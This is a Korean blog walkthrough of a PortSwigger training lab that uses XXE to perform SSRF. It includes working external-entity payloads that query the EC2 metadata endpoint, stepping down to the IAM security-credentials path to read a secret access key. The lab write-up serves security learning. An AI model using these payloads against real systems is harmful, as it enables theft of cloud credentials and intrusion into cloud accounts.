본문 바로가기
Portswigger/XXE

Portswigger - Exploiting XXE to perform SSRF attacks solution

by jh117jh 2023. 12. 27.
728x90

 

이번 문제는 XXE 취약점을 활용해 SSRF공격을 하는 것이다.

 

먼저 페이지의 재고확인 버튼을 눌러보자

 

 

xml형식으로 데이터를 가져오는 것을 볼 수 있다.

 

문제에서는 EC2 메타데이터에서 iam 시크릿 액세스 키를 획득하라 한다.

EC2 = 아마존에서 제공하는 컴퓨터 클라우드

http://169.254.169.254/ = EC2 메타데이터 기본 데이터 url

 

우선 데이터를 가져오려면 데이터가 존재하는 정확한 경로가 필요하다.

 

이 문제에는 취약점이 하나 있는데

 

위 사진처럼 productId에 hello를 넣었더니 에러메시지로 에러가 있는 hello라는 단어가 출력되는 걸 볼 수 있다.

이렇게 에러가 발생한 부분을 노출해 주면 악용될 수 있다.

 

 

<! DOCTYPE jh [ <! ENTITY xxe SYSTEM "http://169.254.169.254">]>로 외부 엔티티를 선언해 주고 

&xxe;로 외부 엔티티를 참조해 주면

 

latest가 에러메시지로 출력된다 

하지만 우리는 latest라는 문자를 쓴 적이 없다. 그러므로 없어서 문제인 즉, 추가해야 되는 것으로 추측할 수 있다.

url뒤에 추가해 보자

 

<!DOCTYPE jh [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest">]>

 

 

이렇게 계속 추가하다 보니

<!DOCTYPE jh [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>

 

 

액세스 비밀키를 출력해 낼 수 있다.

 

728x90